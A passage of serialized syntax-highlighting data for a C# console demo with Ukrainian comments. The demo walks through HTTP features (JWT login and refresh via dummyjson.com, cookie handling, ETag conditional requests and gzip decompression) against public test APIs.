cacheClient.GetAsync(\"etag\u002Fv7-product-list\");\nstring etag = firstResp.Headers.ETag?.Tag ?? \"\";\nlong firstSize = (await firstResp.Content.ReadAsByteArrayAsync()).Length;\nConsole.WriteLine($\"✅ GET \u002Fetag\u002Fv7-product-list: {firstResp.StatusCode}, ETag={etag}, {firstSize} байт\");\n\n\u002F\u002F Conditional GET — If-None-Match: якщо ресурс не змінився → 304 (0 байт тіла)\nvar condReq = new HttpRequestMessage(HttpMethod.Get, \"etag\u002Fv7-product-list\");\ncondReq.Headers.IfNoneMatch.Add(new EntityTagHeaderValue(etag));\nvar condResp = await cacheClient.SendAsync(condReq);\nConsole.WriteLine($\"✅ Conditional GET: {condResp.StatusCode} \" +\n    $\"— тіло {(condResp.StatusCode == HttpStatusCode.NotModified ? \"відсутнє (0 байт!)\" : \"отримано\")}\");\n\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\n\u002F\u002F 5. COMPRESSION — httpbingo.org\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\nConsole.WriteLine(\"\\n═══ 5. Compression (httpbingo.org) ═══\");\n\nvar compHandler = new HttpClientHandler\n{\n    AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate\n};\nusing var compClient = new HttpClient(compHandler);\n\n\u002F\u002F \u002Fgzip — завжди повертає gzip-стиснений JSON\nvar gzipResp = await compClient.GetAsync(\"https:\u002F\u002Fhttpbingo.org\u002Fgzip\");\nstring gzipBody = await gzipResp.Content.ReadAsStringAsync();\nConsole.WriteLine($\"✅ GZIP: {gzipResp.StatusCode}, розпаковано {gzipBody.Length} символів\");\n\nConsole.WriteLine(\"\\n═══ Готово! Всі 5 концепцій продемонстровано. ═══\");\n\n\u002F\u002F ── Допоміжна функція ────────────────────────────────────────────────────────\nstatic string PadBase64(string base64Url)\n{\n    string base64 = base64Url.Replace('-', '+').Replace('_', '\u002F');\n    return base64.Length % 4 switch\n    {\n        2 => base64 + \"==\",\n        3 => base64 + \"=\",\n        _ => base64\n    };\n}\n",[3430,19321,19322,19327,19332,19336,19348,19368,19388,19400,19416,19420,19440,19444,19449,19454,19458,19473,19477,19508,19512,19516,19541,19545,19556,19567,19577,19581,19591,19595,19623,19653,19679,19710,19714,19719,19743,19788,19817,19850,19886,19890,19895,19910,19926,19930,19953,19964,19991,20039,20071,20075,20080,20102,20121,20147,20193,20197,20201,20206,20210,20230,20234,20248,20272,20294,20298,20314,20318,20322,20327,20332,20349,20366,20370,20397,20427,20444,20496,20500,20505,20528,20555,20571,20602,20642,20652,20656,20660,20665,20669,20688,20692,20709,20713,20718,20741,20748,20769,20802,20825,20854,20859,20865,20889,20896,20918,20949,20973,21001,21049,21054,21059,21065,21070,21090,21095,21127,21132,21138,21163,21196,21226,21274,21279,21285,21313,21343,21367,21398,21439,21444,21449,21455,21460,21480,21485,21499,21504,21527,21532,21555,21560,21566,21590,21614,21657,21662,21682,21687,21693,21713,21718,21762,21782,21787,21805,21822,21833,21839],{"__ignoreMap":3428},[3433,19323,19324],{"class":3435,"line":3436},[3433,19325,19326],{"class":4802},"\u002F\u002F HttpPlayground — демонстрація HTTP Advanced з реальними API\n",[3433,19328,19329],{"class":3435,"line":3442},[3433,19330,19331],{"class":4802},"\u002F\u002F Запуск: dotnet new console -n HttpPlayground && cd HttpPlayground && dotnet run\n",[3433,19333,19334],{"class":3435,"line":3448},[3433,19335,3458],{"emptyLinePlaceholder":3457},[3433,19337,19338,19340,19342,19344,19346],{"class":3435,"line":3454},[3433,19339,4742],{"class":4741},[3433,19341,4746],{"class":4745},[3433,19343,3670],{"class":4749},[3433,19345,4752],{"class":4745},[3433,19347,4755],{"class":4749},[3433,19349,19350,19352,19354,19356,19358,19360,19362,19364,19366],{"class":3435,"line":3461},[3433,19351,4742],{"class":4741},[3433,19353,4746],{"class":4745},[3433,19355,3670],{"class":4749},[3433,19357,4752],{"class":4745},[3433,19359,3670],{"class":4749},[3433,19361,4770],{"class":4745},[3433,19363,3670],{"class":4749},[3433,19365,5515],{"class":4745},[3433,19367,4755],{"class":4749},[3433,19369,19370,19372,19374,19376,19378,19380,19382,19384,19386],{"class":3435,"line":3467},[3433,19371,4742],{"class":4741},[3433,19373,4746],{"class":4745},[3433,19375,3670],{"class":4749},[3433,19377,4752],{"class":4745},[3433,19379,3670],{"class":4749},[3433,19381,4770],{"class":4745},[3433,19383,3670],{"class":4749},[3433,19385,4791],{"class":4745},[3433,19387,4755],{"class":4749},[3433,19389,19390,19392,19394,19396,19398],{"class":3435,"line":3473},[3433,19391,4742],{"class":4741},[3433,19393,4746],{"class":4745},[3433,19395,3670],{"class":4749},[3433,19397,6735],{"class":4745},[3433,19399,4755],{"class":4749},[3433,19401,19402,19404,19406,19408,19410,19412,19414],{"class":3435,"line":3479},[3433,19403,4742],{"class":4741},[3433,19405,4746],{"class":4745},[3433,19407,3670],{"class":4749},[3433,19409,6735],{"class":4745},[3433,19411,3670],{"class":4749},[3433,19413,4791],{"class":4745},[3433,19415,4755],{"class":4749},[3433,19417,19418],{"class":3435,"line":3484},[3433,19419,3458],{"emptyLinePlaceholder":3457},[3433,19421,19422,19424,19426,19429,19431,19434,19436,19438],{"class":3435,"line":3490},[3433,19423,7898],{"class":4811},[3433,19425,3670],{"class":4749},[3433,19427,19428],{"class":4811},"OutputEncoding",[3433,19430,4815],{"class":4749},[3433,19432,19433],{"class":4811},"Encoding",[3433,19435,3670],{"class":4749},[3433,19437,6828],{"class":4811},[3433,19439,4755],{"class":4749},[3433,19441,19442],{"class":3435,"line":3496},[3433,19443,3458],{"emptyLinePlaceholder":3457},[3433,19445,19446],{"class":3435,"line":3502},[3433,19447,19448],{"class":4802},"\u002F\u002F ════════════════════════════════════════════════════════════════════════════\n",[3433,19450,19451],{"class":3435,"line":3508},[3433,19452,19453],{"class":4802},"\u002F\u002F 1. JWT АУТЕНТИФІКАЦІЯ — dummyjson.com\n",[3433,19455,19456],{"class":3435,"line":3513},[3433,19457,19448],{"class":4802},[3433,19459,19460,19462,19464,19466,19468,19471],{"class":3435,"line":3519},[3433,19461,7898],{"class":4811},[3433,19463,3670],{"class":4749},[3433,19465,5080],{"class":4967},[3433,19467,4895],{"class":4749},[3433,19469,19470],{"class":3926},"\"═══ 1. JWT Authentication (dummyjson.com) ═══\"",[3433,19472,4976],{"class":4749},[3433,19474,19475],{"class":3435,"line":3525},[3433,19476,3458],{"emptyLinePlaceholder":3457},[3433,19478,19479,19481,19483,19486,19488,19490,19492,19494,19496,19498,19500,19502,19504,19506],{"class":3435,"line":3531},[3433,19480,4742],{"class":4741},[3433,19482,4882],{"class":3923},[3433,19484,19485],{"class":4811}," jwtClient",[3433,19487,4815],{"class":4749},[3433,19489,4818],{"class":3923},[3433,19491,4892],{"class":4745},[3433,19493,5337],{"class":4749},[3433,19495,7753],{"class":4811},[3433,19497,4815],{"class":4749},[3433,19499,4818],{"class":3923},[3433,19501,4917],{"class":4745},[3433,19503,4895],{"class":4749},[3433,19505,7764],{"class":3926},[3433,19507,7767],{"class":4749},[3433,19509,19510],{"class":3435,"line":3537},[3433,19511,3458],{"emptyLinePlaceholder":3457},[3433,19513,19514],{"class":3435,"line":3542},[3433,19515,7776],{"class":4802},[3433,19517,19518,19520,19522,19524,19526,19528,19530,19532,19534,19536,19538],{"class":3435,"line":3548},[3433,19519,4808],{"class":3923},[3433,19521,5473],{"class":4811},[3433,19523,4815],{"class":4749},[3433,19525,4960],{"class":3923},[3433,19527,19485],{"class":4811},[3433,19529,3670],{"class":4749},[3433,19531,7836],{"class":4967},[3433,19533,4895],{"class":4749},[3433,19535,7841],{"class":3926},[3433,19537,4263],{"class":4749},[3433,19539,19540],{"class":3923},"new\n",[3433,19542,19543],{"class":3435,"line":3554},[3433,19544,4843],{"class":4749},[3433,19546,19547,19550,19552,19554],{"class":3435,"line":3560},[3433,19548,19549],{"class":4811},"    username",[3433,19551,4815],{"class":4749},[3433,19553,7796],{"class":3926},[3433,19555,4856],{"class":4749},[3433,19557,19558,19561,19563,19565],{"class":3435,"line":3565},[3433,19559,19560],{"class":4811},"    password",[3433,19562,4815],{"class":4749},[3433,19564,7806],{"class":3926},[3433,19566,4856],{"class":4749},[3433,19568,19569,19572,19574],{"class":3435,"line":3570},[3433,19570,19571],{"class":4811},"    expiresInMins",[3433,19573,4815],{"class":4749},[3433,19575,19576],{"class":5604},"30\n",[3433,19578,19579],{"class":3435,"line":3576},[3433,19580,8962],{"class":4749},[3433,19582,19583,19585,19587,19589],{"class":3435,"line":3582},[3433,19584,5510],{"class":4811},[3433,19586,3670],{"class":4749},[3433,19588,4986],{"class":4967},[3433,19590,4824],{"class":4749},[3433,19592,19593],{"class":3435,"line":3587},[3433,19594,3458],{"emptyLinePlaceholder":3457},[3433,19596,19597,19599,19602,19604,19606,19608,19610,19612,19614,19616,19618,19621],{"class":3435,"line":3592},[3433,19598,4808],{"class":3923},[3433,19600,19601],{"class":4811}," tokenData",[3433,19603,4815],{"class":4749},[3433,19605,4960],{"class":3923},[3433,19607,5473],{"class":4811},[3433,19609,3670],{"class":4749},[3433,19611,7880],{"class":4811},[3433,19613,3670],{"class":4749},[3433,19615,7885],{"class":4967},[3433,19617,5005],{"class":4749},[3433,19619,19620],{"class":4745},"JsonElement",[3433,19622,7893],{"class":4749},[3433,19624,19625,19627,19630,19632,19635,19637,19640,19642,19645,19647,19650],{"class":3435,"line":3598},[3433,19626,3940],{"class":3923},[3433,19628,19629],{"class":4811}," accessToken",[3433,19631,4815],{"class":4749},[3433,19633,19634],{"class":4811},"tokenData",[3433,19636,3670],{"class":4749},[3433,19638,19639],{"class":4967},"GetProperty",[3433,19641,4895],{"class":4749},[3433,19643,19644],{"class":3926},"\"accessToken\"",[3433,19646,4708],{"class":4749},[3433,19648,19649],{"class":4967},"GetString",[3433,19651,19652],{"class":4749},"()!;\n",[3433,19654,19655,19657,19660,19662,19664,19666,19668,19670,19673,19675,19677],{"class":3435,"line":3604},[3433,19656,3940],{"class":3923},[3433,19658,19659],{"class":4811}," refreshToken",[3433,19661,4815],{"class":4749},[3433,19663,19634],{"class":4811},[3433,19665,3670],{"class":4749},[3433,19667,19639],{"class":4967},[3433,19669,4895],{"class":4749},[3433,19671,19672],{"class":3926},"\"refreshToken\"",[3433,19674,4708],{"class":4749},[3433,19676,19649],{"class":4967},[3433,19678,19652],{"class":4749},[3433,19680,19681,19683,19685,19687,19689,19692,19694,19697,19699,19701,19704,19706,19708],{"class":3435,"line":3610},[3433,19682,7898],{"class":4811},[3433,19684,3670],{"class":4749},[3433,19686,5080],{"class":4967},[3433,19688,4895],{"class":4749},[3433,19690,19691],{"class":3926},"$\"✅ JWT отримано: ",[3433,19693,5089],{"class":5088},[3433,19695,19696],{"class":4811},"accessToken",[3433,19698,5666],{"class":5088},[3433,19700,5699],{"class":4749},[3433,19702,19703],{"class":5604},"40",[3433,19705,5705],{"class":5088},[3433,19707,5708],{"class":3926},[3433,19709,4976],{"class":4749},[3433,19711,19712],{"class":3435,"line":3615},[3433,19713,3458],{"emptyLinePlaceholder":3457},[3433,19715,19716],{"class":3435,"line":3620},[3433,19717,19718],{"class":4802},"\u002F\u002F Декодуємо payload (Base64URL) — демонстрація структури JWT без перевірки підпису\n",[3433,19720,19721,19723,19725,19728,19730,19732,19734,19736,19738,19741],{"class":3435,"line":3626},[3433,19722,3940],{"class":3923},[3433,19724,17927],{"class":4749},[3433,19726,19727],{"class":4811},"parts",[3433,19729,4815],{"class":4749},[3433,19731,19696],{"class":4811},[3433,19733,3670],{"class":4749},[3433,19735,5593],{"class":4967},[3433,19737,4895],{"class":4749},[3433,19739,19740],{"class":3926},"'.'",[3433,19742,4976],{"class":4749},[3433,19744,19745,19747,19750,19752,19754,19756,19758,19760,19762,19764,19766,19768,19771,19773,19776,19778,19780,19782,19785],{"class":3435,"line":3632},[3433,19746,3940],{"class":3923},[3433,19748,19749],{"class":4811}," payloadJson",[3433,19751,4815],{"class":4749},[3433,19753,19433],{"class":4811},[3433,19755,3670],{"class":4749},[3433,19757,6828],{"class":4811},[3433,19759,3670],{"class":4749},[3433,19761,19649],{"class":4967},[3433,19763,4895],{"class":4749},[3433,19765,6811],{"class":4811},[3433,19767,3670],{"class":4749},[3433,19769,19770],{"class":4967},"FromBase64String",[3433,19772,4895],{"class":4749},[3433,19774,19775],{"class":4967},"PadBase64",[3433,19777,4895],{"class":4749},[3433,19779,19727],{"class":4811},[3433,19781,5666],{"class":4749},[3433,19783,19784],{"class":5604},"1",[3433,19786,19787],{"class":4749},"])));\n",[3433,19789,19790,19792,19795,19797,19800,19802,19805,19807,19810,19812,19815],{"class":3435,"line":3637},[3433,19791,4808],{"class":3923},[3433,19793,19794],{"class":4811}," payload",[3433,19796,4815],{"class":4749},[3433,19798,19799],{"class":4811},"JsonDocument",[3433,19801,3670],{"class":4749},[3433,19803,19804],{"class":4967},"Parse",[3433,19806,4895],{"class":4749},[3433,19808,19809],{"class":4811},"payloadJson",[3433,19811,4708],{"class":4749},[3433,19813,19814],{"class":4811},"RootElement",[3433,19816,4755],{"class":4749},[3433,19818,19819,19821,19823,19825,19827,19830,19832,19835,19837,19839,19841,19844,19846,19848],{"class":3435,"line":3642},[3433,19820,7898],{"class":4811},[3433,19822,3670],{"class":4749},[3433,19824,5080],{"class":4967},[3433,19826,4895],{"class":4749},[3433,19828,19829],{"class":3926},"$\"   sub (id):  ",[3433,19831,5089],{"class":5088},[3433,19833,19834],{"class":4811},"payload",[3433,19836,3670],{"class":5088},[3433,19838,19639],{"class":4967},[3433,19840,4895],{"class":5088},[3433,19842,19843],{"class":3926},"\"id\"",[3433,19845,15028],{"class":5088},[3433,19847,5117],{"class":3926},[3433,19849,4976],{"class":4749},[3433,19851,19852,19854,19856,19858,19860,19863,19865,19867,19869,19871,19873,19876,19878,19880,19882,19884],{"class":3435,"line":3895},[3433,19853,7898],{"class":4811},[3433,19855,3670],{"class":4749},[3433,19857,5080],{"class":4967},[3433,19859,4895],{"class":4749},[3433,19861,19862],{"class":3926},"$\"   username:  ",[3433,19864,5089],{"class":5088},[3433,19866,19834],{"class":4811},[3433,19868,3670],{"class":5088},[3433,19870,19639],{"class":4967},[3433,19872,4895],{"class":5088},[3433,19874,19875],{"class":3926},"\"username\"",[3433,19877,4708],{"class":5088},[3433,19879,19649],{"class":4967},[3433,19881,10814],{"class":5088},[3433,19883,5117],{"class":3926},[3433,19885,4976],{"class":4749},[3433,19887,19888],{"class":3435,"line":3900},[3433,19889,3458],{"emptyLinePlaceholder":3457},[3433,19891,19892],{"class":3435,"line":5248},[3433,19893,19894],{"class":4802},"\u002F\u002F Захищений запит — GET \u002Fauth\u002Fme з Bearer токеном\n",[3433,19896,19897,19900,19902,19904,19906,19908],{"class":3435,"line":5273},[3433,19898,19899],{"class":4811},"jwtClient",[3433,19901,3670],{"class":4749},[3433,19903,6868],{"class":4811},[3433,19905,3670],{"class":4749},[3433,19907,6547],{"class":4811},[3433,19909,6875],{"class":4749},[3433,19911,19912,19914,19916,19918,19920,19922,19924],{"class":3435,"line":6516},[3433,19913,5030],{"class":3923},[3433,19915,6882],{"class":4745},[3433,19917,4895],{"class":4749},[3433,19919,8002],{"class":3926},[3433,19921,4263],{"class":4749},[3433,19923,19696],{"class":4811},[3433,19925,4976],{"class":4749},[3433,19927,19928],{"class":3435,"line":6522},[3433,19929,3458],{"emptyLinePlaceholder":3457},[3433,19931,19932,19934,19937,19939,19941,19943,19945,19947,19949,19951],{"class":3435,"line":6527},[3433,19933,4808],{"class":3923},[3433,19935,19936],{"class":4811}," meResp",[3433,19938,4815],{"class":4749},[3433,19940,4960],{"class":3923},[3433,19942,19485],{"class":4811},[3433,19944,3670],{"class":4749},[3433,19946,4968],{"class":4967},[3433,19948,4895],{"class":4749},[3433,19950,8043],{"class":3926},[3433,19952,4976],{"class":4749},[3433,19954,19955,19958,19960,19962],{"class":3435,"line":6532},[3433,19956,19957],{"class":4811},"meResp",[3433,19959,3670],{"class":4749},[3433,19961,4986],{"class":4967},[3433,19963,4824],{"class":4749},[3433,19965,19966,19968,19971,19973,19975,19977,19979,19981,19983,19985,19987,19989],{"class":3435,"line":8453},[3433,19967,4808],{"class":3923},[3433,19969,19970],{"class":4811}," me",[3433,19972,4815],{"class":4749},[3433,19974,4960],{"class":3923},[3433,19976,19936],{"class":4811},[3433,19978,3670],{"class":4749},[3433,19980,7880],{"class":4811},[3433,19982,3670],{"class":4749},[3433,19984,7885],{"class":4967},[3433,19986,5005],{"class":4749},[3433,19988,19620],{"class":4745},[3433,19990,7893],{"class":4749},[3433,19992,19993,19995,19997,19999,20001,20004,20006,20009,20011,20013,20015,20018,20020,20022,20024,20026,20028,20030,20033,20035,20037],{"class":3435,"line":10849},[3433,19994,7898],{"class":4811},[3433,19996,3670],{"class":4749},[3433,19998,5080],{"class":4967},[3433,20000,4895],{"class":4749},[3433,20002,20003],{"class":3926},"$\"   Профіль:   ",[3433,20005,5089],{"class":5088},[3433,20007,20008],{"class":4811},"me",[3433,20010,3670],{"class":5088},[3433,20012,19639],{"class":4967},[3433,20014,4895],{"class":5088},[3433,20016,20017],{"class":3926},"\"firstName\"",[3433,20019,15028],{"class":5088},[3433,20021,8118],{"class":5088},[3433,20023,20008],{"class":4811},[3433,20025,3670],{"class":5088},[3433,20027,19639],{"class":4967},[3433,20029,4895],{"class":5088},[3433,20031,20032],{"class":3926},"\"lastName\"",[3433,20034,15028],{"class":5088},[3433,20036,5117],{"class":3926},[3433,20038,4976],{"class":4749},[3433,20040,20041,20043,20045,20047,20049,20052,20054,20056,20058,20060,20062,20065,20067,20069],{"class":3435,"line":10854},[3433,20042,7898],{"class":4811},[3433,20044,3670],{"class":4749},[3433,20046,5080],{"class":4967},[3433,20048,4895],{"class":4749},[3433,20050,20051],{"class":3926},"$\"   Email:     ",[3433,20053,5089],{"class":5088},[3433,20055,20008],{"class":4811},[3433,20057,3670],{"class":5088},[3433,20059,19639],{"class":4967},[3433,20061,4895],{"class":5088},[3433,20063,20064],{"class":3926},"\"email\"",[3433,20066,15028],{"class":5088},[3433,20068,5117],{"class":3926},[3433,20070,4976],{"class":4749},[3433,20072,20073],{"class":3435,"line":10872},[3433,20074,3458],{"emptyLinePlaceholder":3457},[3433,20076,20077],{"class":3435,"line":10877},[3433,20078,20079],{"class":4802},"\u002F\u002F Оновлення токену через Refresh Token\n",[3433,20081,20082,20084,20086,20088,20090,20092,20094,20096,20098,20100],{"class":3435,"line":10882},[3433,20083,4808],{"class":3923},[3433,20085,8256],{"class":4811},[3433,20087,4815],{"class":4749},[3433,20089,4960],{"class":3923},[3433,20091,19485],{"class":4811},[3433,20093,3670],{"class":4749},[3433,20095,7836],{"class":4967},[3433,20097,4895],{"class":4749},[3433,20099,8271],{"class":3926},[3433,20101,4856],{"class":4749},[3433,20103,20104,20106,20108,20110,20112,20114,20116,20118],{"class":3435,"line":10905},[3433,20105,5030],{"class":3923},[3433,20107,5337],{"class":4749},[3433,20109,8231],{"class":4811},[3433,20111,4263],{"class":4749},[3433,20113,7811],{"class":4811},[3433,20115,4815],{"class":4749},[3433,20117,7816],{"class":5604},[3433,20119,20120],{"class":4749}," });\n",[3433,20122,20123,20125,20127,20129,20131,20133,20135,20137,20139,20141,20143,20145],{"class":3435,"line":17393},[3433,20124,4808],{"class":3923},[3433,20126,8311],{"class":4811},[3433,20128,4815],{"class":4749},[3433,20130,4960],{"class":3923},[3433,20132,8256],{"class":4811},[3433,20134,3670],{"class":4749},[3433,20136,7880],{"class":4811},[3433,20138,3670],{"class":4749},[3433,20140,7885],{"class":4967},[3433,20142,5005],{"class":4749},[3433,20144,19620],{"class":4745},[3433,20146,7893],{"class":4749},[3433,20148,20149,20151,20153,20155,20157,20160,20162,20164,20166,20168,20170,20172,20174,20176,20178,20181,20183,20185,20187,20189,20191],{"class":3435,"line":17402},[3433,20150,7898],{"class":4811},[3433,20152,3670],{"class":4749},[3433,20154,5080],{"class":4967},[3433,20156,4895],{"class":4749},[3433,20158,20159],{"class":3926},"$\"✅ Токен оновлено: ",[3433,20161,5089],{"class":5088},[3433,20163,8362],{"class":4811},[3433,20165,3670],{"class":5088},[3433,20167,19639],{"class":4967},[3433,20169,4895],{"class":5088},[3433,20171,19644],{"class":3926},[3433,20173,4708],{"class":5088},[3433,20175,19649],{"class":4967},[3433,20177,11154],{"class":5088},[3433,20179,20180],{"class":4749},"!",[3433,20182,5666],{"class":5088},[3433,20184,5699],{"class":4749},[3433,20186,19703],{"class":5604},[3433,20188,5705],{"class":5088},[3433,20190,5708],{"class":3926},[3433,20192,4976],{"class":4749},[3433,20194,20195],{"class":3435,"line":17407},[3433,20196,3458],{"emptyLinePlaceholder":3457},[3433,20198,20199],{"class":3435,"line":17412},[3433,20200,19448],{"class":4802},[3433,20202,20203],{"class":3435,"line":17440},[3433,20204,20205],{"class":4802},"\u002F\u002F 2. COOKIE MANAGEMENT — httpbingo.org\n",[3433,20207,20208],{"class":3435,"line":17445},[3433,20209,19448],{"class":4802},[3433,20211,20212,20214,20216,20218,20220,20222,20225,20228],{"class":3435,"line":17473},[3433,20213,7898],{"class":4811},[3433,20215,3670],{"class":4749},[3433,20217,5080],{"class":4967},[3433,20219,4895],{"class":4749},[3433,20221,5117],{"class":3926},[3433,20223,20224],{"class":12640},"\\n",[3433,20226,20227],{"class":3926},"═══ 2. Cookie Management (httpbingo.org) ═══\"",[3433,20229,4976],{"class":4749},[3433,20231,20232],{"class":3435,"line":17478},[3433,20233,3458],{"emptyLinePlaceholder":3457},[3433,20235,20236,20238,20240,20242,20244,20246],{"class":3435,"line":17511},[3433,20237,4808],{"class":3923},[3433,20239,4812],{"class":4811},[3433,20241,4815],{"class":4749},[3433,20243,4818],{"class":3923},[3433,20245,4821],{"class":4745},[3433,20247,4824],{"class":4749},[3433,20249,20250,20252,20255,20257,20259,20261,20263,20266,20268,20270],{"class":3435,"line":17543},[3433,20251,4808],{"class":3923},[3433,20253,20254],{"class":4811}," cookieHandler",[3433,20256,4815],{"class":4749},[3433,20258,4818],{"class":3923},[3433,20260,5334],{"class":4745},[3433,20262,5337],{"class":4749},[3433,20264,20265],{"class":4811},"CookieContainer",[3433,20267,4815],{"class":4749},[3433,20269,4853],{"class":4811},[3433,20271,5357],{"class":4749},[3433,20273,20274,20276,20278,20281,20283,20285,20287,20289,20292],{"class":3435,"line":17548},[3433,20275,4742],{"class":4741},[3433,20277,4882],{"class":3923},[3433,20279,20280],{"class":4811}," cookieClient",[3433,20282,4815],{"class":4749},[3433,20284,4818],{"class":3923},[3433,20286,4892],{"class":4745},[3433,20288,4895],{"class":4749},[3433,20290,20291],{"class":4811},"cookieHandler",[3433,20293,4901],{"class":4749},[3433,20295,20296],{"class":3435,"line":17563},[3433,20297,4843],{"class":4749},[3433,20299,20300,20302,20304,20306,20308,20310,20312],{"class":3435,"line":17568},[3433,20301,4910],{"class":4811},[3433,20303,4815],{"class":4749},[3433,20305,4818],{"class":3923},[3433,20307,4917],{"class":4745},[3433,20309,4895],{"class":4749},[3433,20311,4922],{"class":3926},[3433,20313,4901],{"class":4749},[3433,20315,20316],{"class":3435,"line":17579},[3433,20317,4871],{"class":4749},[3433,20319,20320],{"class":3435,"line":17589},[3433,20321,3458],{"emptyLinePlaceholder":3457},[3433,20323,20324],{"class":3435,"line":17594},[3433,20325,20326],{"class":4802},"\u002F\u002F \u002Fcookies\u002Fset встановлює cookie через 302-редирект\n",[3433,20328,20329],{"class":3435,"line":17599},[3433,20330,20331],{"class":4802},"\u002F\u002F CookieContainer автоматично слідує і зберігає Set-Cookie\n",[3433,20333,20334,20336,20338,20340,20342,20344,20347],{"class":3435,"line":17631},[3433,20335,4960],{"class":3923},[3433,20337,20280],{"class":4811},[3433,20339,3670],{"class":4749},[3433,20341,4968],{"class":4967},[3433,20343,4895],{"class":4749},[3433,20345,20346],{"class":3926},"\"cookies\u002Fset?session=token_xyz123\"",[3433,20348,4976],{"class":4749},[3433,20350,20351,20353,20355,20357,20359,20361,20364],{"class":3435,"line":17653},[3433,20352,4960],{"class":3923},[3433,20354,20280],{"class":4811},[3433,20356,3670],{"class":4749},[3433,20358,4968],{"class":4967},[3433,20360,4895],{"class":4749},[3433,20362,20363],{"class":3926},"\"cookies\u002Fset?theme=dark\"",[3433,20365,4976],{"class":4749},[3433,20367,20368],{"class":3435,"line":17658},[3433,20369,3458],{"emptyLinePlaceholder":3457},[3433,20371,20372,20374,20377,20379,20381,20383,20385,20387,20389,20391,20393,20395],{"class":3435,"line":17664},[3433,20373,4808],{"class":3923},[3433,20375,20376],{"class":4811}," storedCookies",[3433,20378,4815],{"class":4749},[3433,20380,4853],{"class":4811},[3433,20382,3670],{"class":4749},[3433,20384,5022],{"class":4967},[3433,20386,4895],{"class":4749},[3433,20388,4818],{"class":3923},[3433,20390,4917],{"class":4745},[3433,20392,4895],{"class":4749},[3433,20394,4922],{"class":3926},[3433,20396,12654],{"class":4749},[3433,20398,20399,20401,20403,20405,20407,20410,20412,20415,20417,20420,20422,20425],{"class":3435,"line":17719},[3433,20400,7898],{"class":4811},[3433,20402,3670],{"class":4749},[3433,20404,5080],{"class":4967},[3433,20406,4895],{"class":4749},[3433,20408,20409],{"class":3926},"$\"✅ CookieContainer має ",[3433,20411,5089],{"class":5088},[3433,20413,20414],{"class":4811},"storedCookies",[3433,20416,3670],{"class":5088},[3433,20418,20419],{"class":4811},"Count",[3433,20421,5100],{"class":5088},[3433,20423,20424],{"class":3926}," cookies:\"",[3433,20426,4976],{"class":4749},[3433,20428,20429,20431,20433,20435,20438,20440,20442],{"class":3435,"line":17728},[3433,20430,5051],{"class":4741},[3433,20432,4638],{"class":4749},[3433,20434,3662],{"class":4745},[3433,20436,20437],{"class":4811}," c",[3433,20439,5061],{"class":4741},[3433,20441,20376],{"class":4811},[3433,20443,4901],{"class":4749},[3433,20445,20446,20448,20450,20452,20454,20457,20459,20461,20463,20465,20467,20469,20471,20473,20475,20477,20479,20482,20484,20486,20488,20490,20492,20494],{"class":3435,"line":17733},[3433,20447,5075],{"class":4811},[3433,20449,3670],{"class":4749},[3433,20451,5080],{"class":4967},[3433,20453,4895],{"class":4749},[3433,20455,20456],{"class":3926},"$\"   ",[3433,20458,5089],{"class":5088},[3433,20460,5955],{"class":4811},[3433,20462,3670],{"class":5088},[3433,20464,5097],{"class":4811},[3433,20466,5100],{"class":5088},[3433,20468,5103],{"class":3926},[3433,20470,5089],{"class":5088},[3433,20472,5955],{"class":4811},[3433,20474,3670],{"class":5088},[3433,20476,5112],{"class":4811},[3433,20478,5100],{"class":5088},[3433,20480,20481],{"class":3926},"  HttpOnly=",[3433,20483,5089],{"class":5088},[3433,20485,5955],{"class":4811},[3433,20487,3670],{"class":5088},[3433,20489,4007],{"class":4811},[3433,20491,5100],{"class":5088},[3433,20493,5117],{"class":3926},[3433,20495,4976],{"class":4749},[3433,20497,20498],{"class":3435,"line":17738},[3433,20499,3458],{"emptyLinePlaceholder":3457},[3433,20501,20502],{"class":3435,"line":17769},[3433,20503,20504],{"class":4802},"\u002F\u002F CookieContainer автоматично надсилає cookies у наступних запитах\n",[3433,20506,20507,20509,20512,20514,20516,20518,20520,20522,20524,20526],{"class":3435,"line":17774},[3433,20508,4808],{"class":3923},[3433,20510,20511],{"class":4811}," cookiesResp",[3433,20513,4815],{"class":4749},[3433,20515,4960],{"class":3923},[3433,20517,20280],{"class":4811},[3433,20519,3670],{"class":4749},[3433,20521,4968],{"class":4967},[3433,20523,4895],{"class":4749},[3433,20525,5268],{"class":3926},[3433,20527,4976],{"class":4749},[3433,20529,20530,20532,20535,20537,20539,20541,20543,20545,20547,20549,20551,20553],{"class":3435,"line":17808},[3433,20531,4808],{"class":3923},[3433,20533,20534],{"class":4811}," cookieBody",[3433,20536,4815],{"class":4749},[3433,20538,4960],{"class":3923},[3433,20540,20511],{"class":4811},[3433,20542,3670],{"class":4749},[3433,20544,7880],{"class":4811},[3433,20546,3670],{"class":4749},[3433,20548,7885],{"class":4967},[3433,20550,5005],{"class":4749},[3433,20552,19620],{"class":4745},[3433,20554,7893],{"class":4749},[3433,20556,20557,20559,20561,20564,20566,20569],{"class":3435,"line":17829},[3433,20558,7898],{"class":4811},[3433,20560,3670],{"class":4749},[3433,20562,20563],{"class":4967},"Write",[3433,20565,4895],{"class":4749},[3433,20567,20568],{"class":3926},"\"   httpbingo бачить: \"",[3433,20570,4976],{"class":4749},[3433,20572,20573,20575,20577,20579,20582,20584,20586,20588,20590,20592,20594,20596,20599],{"class":3435,"line":17834},[3433,20574,5051],{"class":4741},[3433,20576,4638],{"class":4749},[3433,20578,4808],{"class":3923},[3433,20580,20581],{"class":4811}," prop",[3433,20583,5061],{"class":4741},[3433,20585,20534],{"class":4811},[3433,20587,3670],{"class":4749},[3433,20589,19639],{"class":4967},[3433,20591,4895],{"class":4749},[3433,20593,5268],{"class":3926},[3433,20595,4708],{"class":4749},[3433,20597,20598],{"class":4967},"EnumerateObject",[3433,20600,20601],{"class":4749},"())\n",[3433,20603,20604,20606,20608,20610,20612,20614,20616,20619,20621,20623,20625,20627,20629,20631,20633,20635,20637,20640],{"class":3435,"line":17856},[3433,20605,5075],{"class":4811},[3433,20607,3670],{"class":4749},[3433,20609,20563],{"class":4967},[3433,20611,4895],{"class":4749},[3433,20613,11515],{"class":3926},[3433,20615,5089],{"class":5088},[3433,20617,20618],{"class":4811},"prop",[3433,20620,3670],{"class":5088},[3433,20622,5097],{"class":4811},[3433,20624,5100],{"class":5088},[3433,20626,5103],{"class":3926},[3433,20628,5089],{"class":5088},[3433,20630,20618],{"class":4811},[3433,20632,3670],{"class":5088},[3433,20634,5112],{"class":4811},[3433,20636,5100],{"class":5088},[3433,20